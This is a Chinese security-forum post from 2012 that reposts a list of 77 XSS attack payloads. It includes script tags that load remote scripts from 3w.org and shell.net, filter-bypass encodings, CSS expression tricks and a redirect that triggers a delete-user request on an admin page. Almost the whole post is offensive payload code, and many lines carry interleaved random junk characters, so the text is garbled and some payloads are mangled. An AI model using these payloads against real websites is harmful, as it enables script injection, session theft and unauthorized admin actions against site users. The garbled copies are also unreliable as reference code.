找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3421|回复: 0
打印 上一主题 下一主题

xss跨站脚本攻击汇总

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 14:56:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。# W* t% x. o2 E) F' }" R" w( X

7 G9 p4 l$ w) Y, W- A; c7 V" O (1)普通的XSS JavaScript注入
6 {' o/ `1 Q  P" m- j9 ]" N <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
( W: P& x' ^4 J- J  h8 p3 O5 H
% b3 g) ]5 @4 j, Z" {3 p (2)IMG标签XSS使用JavaScript命令5 h. M* S+ c  K  _7 X+ H, J
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
5 t" \; M% o0 Y/ B' N9 t' ~! y6 R7 G7 |  C; q
(3)IMG标签无分号无引号
  D( a1 Y$ d- o5 i, h <IMG SRC=javascript:alert(‘XSS’)>" h! t& T8 g2 z: ]3 W

# D0 _# `# w3 K. A4 k (4)IMG标签大小写不敏感( D% j  L: v2 f: k( J2 Z/ k- a/ }
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>7 B9 ~9 o, M0 @- N/ u. D

* M3 I% h0 F% i6 | (5)HTML编码(必须有分号)
# {: Z3 J% e0 m- o9 \ <IMG SRC=javascript:alert(“XSS”)>1 t/ g2 Z; J! ^0 Z% ^% ^
1 d9 h! a2 E* D- J: n3 V0 n
(6)修正缺陷IMG标签
- O$ l9 d3 ^+ ` <IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>4 W. r9 r. L1 Y5 X" B! m; c, z

0 O: Z* U0 y' p; C$ G( u' n. r. P (7)formCharCode标签(计算器)
- a/ a9 P6 s8 y0 [ <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
2 U4 r' z& r9 i  ?( ^
, \' C; B5 z# k6 v2 m: s. A4 h (8)UTF-8的Unicode编码(计算器)
$ ~1 r& U- B. e <IMG SRC=jav..省略..S')>
! O$ e0 \. c; ?' e% Y: t
, ?0 x+ O% b8 U! j* \8 J (9)7位的UTF-8的Unicode编码是没有分号的(计算器)* _( J1 o1 p0 p* c( j
<IMG SRC=jav..省略..S')>
9 e) y. k8 {2 k. l9 Y: |8 G( Z3 q+ c. E& j/ \+ \  [
(10)十六进制编码也是没有分号(计算器)3 r7 f5 P* N" [
<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>
' A& n! U7 Y5 x+ e# ^. B! [3 h, H) r0 Y" Q- t8 K$ P
(11)嵌入式标签,将Javascript分开
5 R" i1 \! z- D <IMG SRC=”jav ascript:alert(‘XSS’);”>
* [) A2 j/ k  i3 T9 g& D! c( Z  B  o1 T" ]* ~: u# |
(12)嵌入式编码标签,将Javascript分开
; k9 I7 R# O+ _) }" y <IMG SRC=”jav ascript:alert(‘XSS’);”>
- W& M; D1 C: U- a' i6 @7 c( |4 i  y) ^% i+ `- S
(13)嵌入式换行符  _6 a" E; y1 k! H( O
<IMG SRC=”jav ascript:alert(‘XSS’);”>, ~- B* t0 V# M- f4 e/ k3 A

# o1 }5 {# I0 K: N2 a( Q  j) r0 [ (14)嵌入式回车# N, c) z, V- P( c. }4 O
<IMG SRC=”jav ascript:alert(‘XSS’);”>
2 V4 h# E) W+ l7 d* z( ~% `
. @# l; G) _5 e( E4 C/ D9 e (15)嵌入式多行注入JavaScript,这是XSS极端的例子
, Q, R* y- G# J: x1 c6 c. ^1 a% d <IMG SRC=”javascript:alert(‘XSS‘)”>
! O! V2 ^9 X  W! g. o5 R; s6 N* Z8 U9 p0 l  G. i+ I
(16)解决限制字符(要求同页面)( M* e$ T1 L, l
<script>z=’document.’</script>' d, p( j3 V8 S2 O
<script>z=z+’write(“‘</script>
9 `% R  _$ ^3 D  w/ m0 ~( ? <script>z=z+’<script’</script>
; f- P2 y0 b7 J <script>z=z+’ src=ht’</script>( C( O, _: G! W3 I! b5 T
<script>z=z+’tp://ww’</script>) E; K7 O& M, K& j# Z4 y
<script>z=z+’w.shell’</script>) ~; m9 m. s# Z/ ~8 F) C9 r
<script>z=z+’.net/1.’</script>, j& T6 F" U* I2 \! X/ r
<script>z=z+’js></sc’</script>8 s, M+ w6 }! \$ @: h
<script>z=z+’ript>”)’</script>+ I) |5 W: L$ P' D1 J0 D% f
<script>eval_r(z)</script>/ m5 M6 \7 e1 M+ L

9 q; O+ }1 a0 U, v% S (17)空字符' d9 q- K+ |3 u+ m
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out4 U4 a4 G3 |' t& `4 \' y8 r1 @: Q
* A! b' {3 Q7 Z4 \+ Y: Q
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用0 n) t( V7 o' |/ W7 W- J: ~4 Q
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out$ p; D" x9 X& \7 ]$ D' v1 o8 \$ `
* q& b7 s" g3 i+ v. W2 m
(19)Spaces和meta前的IMG标签' L5 Q0 }0 T  s& \
<IMG SRC=”   javascript:alert(‘XSS’);”>+ @; z  D$ \; h3 V: P
: d+ T$ k& X( N! l8 E
(20)Non-alpha-non-digit XSS% V$ v8 E  t' P7 }- T% E
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
" I3 I. K4 p" e" M' d$ ]/ r6 U+ i) U% d3 m1 @
(21)Non-alpha-non-digit XSS to 2
) X6 X+ l: g" W. j# v- l <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>" W& v; e& a) P( _% I
; _* ?; W. c$ B/ I3 X
(22)Non-alpha-non-digit XSS to 31 [: ^" e( k0 a( u- Q* g, X
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>) J( K! u6 Q- D5 V2 f8 g* C* E( o

, w8 H3 U7 z2 Y- i (23)双开括号
  W* @! k8 Q' p6 N5 Y1 W+ L) n <<SCRIPT>alert(“XSS”);//<</SCRIPT>6 o. R* b5 @( t/ b. k& @
- R1 Y# R; ]: b) b$ t' [1 g1 `% O7 A
(24)无结束脚本标记(仅火狐等浏览器)
4 z1 x9 N& ]$ j( k& D9 M6 B8 S <SCRIPT SRC=http://3w.org/XSS/xss.js?<B>7 a0 `. ?: C7 s; k

( _% i# ~  a3 s; w. T8 Q: T (25)无结束脚本标记2  q( j9 h/ P: }! M) x+ @# Q
<SCRIPT SRC=//3w.org/XSS/xss.js>! c$ C5 I. g/ t0 F# f1 w- M
4 G  h3 H/ y; _' t
(26)半开的HTML/JavaScript XSS
7 y7 }7 n5 {' n' k8 _6 w <IMG SRC=”javascript:alert(‘XSS’)”
) g4 o: c/ g: u3 e, A9 A! l% g9 S$ f# T3 ^- o* q( _
(27)双开角括号5 R& f( l( K& p7 u* Z: l$ _0 V
<iframe src=http://3w.org/XSS.html <  M) \$ Q: x' z! S6 K

, J" N8 R+ ?& W# ]2 I" |+ k7 c (28)无单引号 双引号 分号
" [$ i+ m+ a6 u5 Y <SCRIPT>a=/XSS/
/ x! y) b1 O' v' p1 W- m! ^ alert(a.source)</SCRIPT>9 G4 s  p4 T! k4 L1 c

8 v0 a/ K9 s! }! Q* W (29)换码过滤的JavaScript
: f2 D- d1 m9 I. H& y, ? \”;alert(‘XSS’);//4 ?# F7 l/ n- n1 X" x" j8 F% @
: t; i" |) a  z1 p  m
(30)结束Title标签
0 ~& H, V4 l/ f9 Y% Q </TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
& @" \# h  y7 v0 Y- e' x; n: ~
- x8 n+ y: a/ ~ (31)Input Image% b) i% c* i  x) i2 u
<INPUT SRC=”javascript:alert(‘XSS’);”>( t/ }$ Q% I: i" h

" M9 l* c+ i$ x& _' r (32)BODY Image8 f* z+ y0 J7 U$ }
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
* K4 x: i' f, W& c# S) y4 X
; E8 D, X' j. Q7 i% b  u (33)BODY标签
4 _" l0 j2 j4 c: m1 L <BODY(‘XSS’)>
! H  f6 ]; C- r8 S* l
4 e: w2 _0 N7 Z" \8 x0 ?  \ (34)IMG Dynsrc4 `0 H$ F! J, K7 I6 x
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
' M' {: ^7 p, a% @- ?' ~$ e( n" Y: R0 R
(35)IMG Lowsrc
$ o% G! X; F+ p/ N: k; Z6 j <IMG LOWSRC=”javascript:alert(‘XSS’)”>- h9 S3 \. _6 K5 [7 ]; \
3 ^; P3 a; d5 R: \
(36)BGSOUND
0 Z5 W0 U# ]: g  F. X9 B, K <BGSOUND SRC=”javascript:alert(‘XSS’);”>. x9 h1 B7 q: x+ J
9 h% Y% L4 G5 O. D9 w# f1 R
(37)STYLE sheet
4 _% P; N. m/ |% I <LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>6 y. L1 d# w3 r. \5 |4 _
& s* e- F, d  t' {- }; h
(38)远程样式表& J6 M0 ]0 S: g- d9 `
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
$ |3 |8 c1 z! F6 a" }+ F0 _* T5 G/ Q4 B& c
(39)List-style-image(列表式)
% Q2 `% x/ z0 N8 w <STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
% T" y3 A4 ], j# S% M
& Q% g. t4 \( M5 Q9 G* [2 h (40)IMG VBscript
0 ^! \& \* u- o2 p& @% O* r <IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
9 g$ Z$ c3 Y* S$ P
- m0 A  p) x2 e/ ^0 e! j (41)META链接url# `* J3 x! I- h  X) T, P' c
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>2 q& H9 @8 o9 E( @6 \) q, s% y( H5 E

/ ]0 g3 ~4 C- f4 v: _ (42)Iframe
6 m/ ^) Y0 h6 X% D( d5 y <IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>5 Q: L9 E3 U) C1 c1 ]: d4 c) O1 E

% |" u9 h6 O* | (43)Frame
& o: Y( i$ @9 \1 G: E: d' S9 `$ Y <FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>4 u- u4 K, N$ ^2 @" p
7 {! X4 y6 b8 X2 Q5 U
(44)Table2 v% J% i- R$ P2 a6 a
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
, o; F9 c2 U( E- q5 ]
) K! V. O$ _8 `# B! S- @ (45)TD
6 S! X2 R; q" g$ Y <TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
; P; ]/ c& X3 @0 K5 O
' S/ ?5 c& z  k  t5 f1 e (46)DIV background-image
3 i6 D, j" q' [0 @) \ <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
. \2 b( L% A$ m; e0 C
7 I& l% s& e0 w8 D$ `% ` (47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
6 w4 u# ]# m1 o& ^& M# O8 U4 Y <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
9 h6 I* q- C; ~2 N- k  N' ^
" w8 w, J4 I6 i) t5 a6 ?- i (48)DIV expression( M/ Y, _$ {  G' O3 A
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
; b' Y( H4 s5 [. J3 n7 n9 M, n+ |% S; o3 i9 ^
(49)STYLE属性分拆表达
* G0 n. F+ z+ c <IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
) @6 m6 {/ D0 v! j) P
( y' M7 ~& c9 x3 P (50)匿名STYLE(组成:开角号和一个字母开头)
3 b3 r+ Y2 M# `. D/ O( I <XSS STYLE=”xss:expression_r(alert(‘XSS’))”>* ~* Q* f' n+ o* _- l4 N

7 @  c. c) j9 |3 j (51)STYLE background-image
! w$ K0 @( U0 d3 F <STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
% q; X- i2 _3 T1 B) ], p% ]
' x4 \( ?$ U* d# W: |/ ` (52)IMG STYLE方式
+ o! d$ V+ S# C exppression(alert(“XSS”))’>7 S; \6 W! m+ M/ \% Z; h
6 N" e' x: I" T* W: Z
(53)STYLE background! a1 M& V' M& a2 U9 R9 y" k
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>; x$ M7 C% q+ K. Y

3 U3 w0 O* d; p- g* _- ^; L3 u8 g (54)BASE4 L5 g; u8 g4 E% z
<BASE HREF=”javascript:alert(‘XSS’);//”>: u# E/ K3 w* f' x. E6 Y% G( e
3 S1 w( b- A3 s' F+ D
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS5 `- ^$ y# \" _2 P/ [
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
! {) r2 f6 e' |" c
- b" U( _5 x5 _8 y( r (56)在flash中使用ActionScrpt可以混进你XSS的代码% L) M4 g) t+ D/ z1 s" z3 l9 H
a=”get”;
, x% T5 Q# X8 v4 a6 C5 T b=”URL(\”";
2 x+ C5 N, U/ k9 s0 A6 { c=”javascript:”;
: I; T& X" N, P5 V# R! t d=”alert(‘XSS’);\”)”;
8 e  V# @4 h- V+ h$ H( o) L6 J3 k eval_r(a+b+c+d);
( r: A* H1 M9 }# I/ O
7 n$ S8 ?  b! F+ g& W (57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上6 E- M2 R: u- H0 |% M
<HTML xmlns:xss>. O9 f1 @6 Y) e( L/ t1 h, c
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
, m: Z( f$ Q3 j6 e <xss:xss>XSS</xss:xss>2 l* d6 C6 |* I8 ~
</HTML>! a1 Q) n4 q' }& i
+ R0 E" i! R7 }; \( I, O
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
5 k* B1 a, l4 a( c+ Y <SCRIPT SRC=””></SCRIPT>7 p5 s( v( }; |% G
0 X2 Y' H' }9 g/ M, V" [  f
(59)IMG嵌入式命令,可执行任意命令
- d  \/ q7 p2 [" |$ }. C4 \ <IMG SRC=”http://www.XXX.com/a.php?a=b”>8 F+ h! y; w/ T( |  j$ J5 F

! l* L" P1 M# ~; M (60)IMG嵌入式命令(a.jpg在同服务器)& d- l' Z' s1 v* b6 ~3 A) e0 M$ C, H
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
: v$ b% N8 s# j, H6 R$ N
3 b0 q( K' z/ P- g (61)绕符号过滤& {0 y1 `& x( m$ m& e
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
# S4 f* v( q# e0 I- [
* w) M+ ~8 V0 h* q7 Q2 G1 U (62)7 V; b  M; j3 v$ p7 e
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>. s6 |, J% f; J: o0 O
$ _1 p' u5 p+ F  \5 g% ]
(63)4 b" I1 \0 M7 _% i6 V$ s: g
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>. N% m, E8 J* P5 Z
3 n4 K4 V. D. P& }. E, a
(64); _4 L. ]1 |0 Q
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>& Z7 A( ?* U; O6 X, M- e. |' g
& Z# W' N; I; E6 X3 H+ ^4 Y; w5 N% d& x
(65)
/ }2 c# A) a+ B7 Q% ^' B( F9 B; c <SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
/ a4 W: T& t6 u
% ~1 u8 {" h0 F# ^ (66)
4 `; r/ c- Z3 D <SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>6 n* I* H7 [- }% N( N# d
# v# Y9 t; }6 l! O" y# M0 S: C
(67)/ t; |7 A4 F" K6 T* h
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>
5 B+ J: O* d+ [/ l6 E: a7 h7 z* u! K* P4 `( ^$ q" E
(68)URL绕行& B8 A: t! X! P6 X8 X7 y$ g
<A HREF=”http://127.0.0.1/”>XSS</A>$ \: |+ V# |! h% ?" d
2 {+ F" M3 R) [$ L; R3 K# m2 I
(69)URL编码
! k9 n9 a  H5 l/ g7 O- g: S. ^ <A HREF=”http://3w.org”>XSS</A>
7 r: d6 I- L% t% A9 c1 J
" u7 O1 N' S" ] (70)IP十进制6 y1 A6 y# b0 \& a+ D  T+ `
<A HREF=”http://3232235521″>XSS</A>: w& m! x7 _' K4 L6 h& J

9 M! V5 J/ K* A- c8 a/ H, B (71)IP十六进制
  s7 y7 a- K5 j- O <A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
4 m& T1 I/ \( C9 ]5 F
6 b9 R3 F: Y) k" r (72)IP八进制
$ p/ |' ~  `7 A1 V+ n2 T$ O+ _: d. X8 j <A HREF=”http://0300.0250.0000.0001″>XSS</A>
, S: K" z& l' j; J) }6 J5 \
0 b! G4 ^3 h( f( M- F' b$ ^+ b/ @ (73)混合编码
+ w" Z8 |' M  h. G <A HREF=”h
7 M2 f! H- x2 R! T tt p://6 6.000146.0×7.147/”">XSS</A>7 s$ u% a8 Y& U/ S
, h$ U( s! O6 m) L5 Y$ \, o
(74)节省[http:]
; Y) A" R/ C! K. i  s2 u <A HREF=”//www.google.com/”>XSS</A>
' P4 b; w! {/ ^. p7 E; M, P; Q. o/ u
(75)节省[www]
# i# n. l2 d* [ <A HREF=”http://google.com/”>XSS</A>. c( w: Z6 V  t" D: |
6 b$ E" z  l' M5 F# o5 Y
(76)绝对点绝对DNS
2 a0 V! [0 m3 B9 Y <A HREF=”http://www.google.com./”>XSS</A>
- ?9 J7 Z3 i) a# N, A7 \6 \5 h
/ j6 p8 B3 f; J4 ~  ]/ L, _, G (77)javascript链接4 f, ~3 C. g( x6 q$ T* b0 Q
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表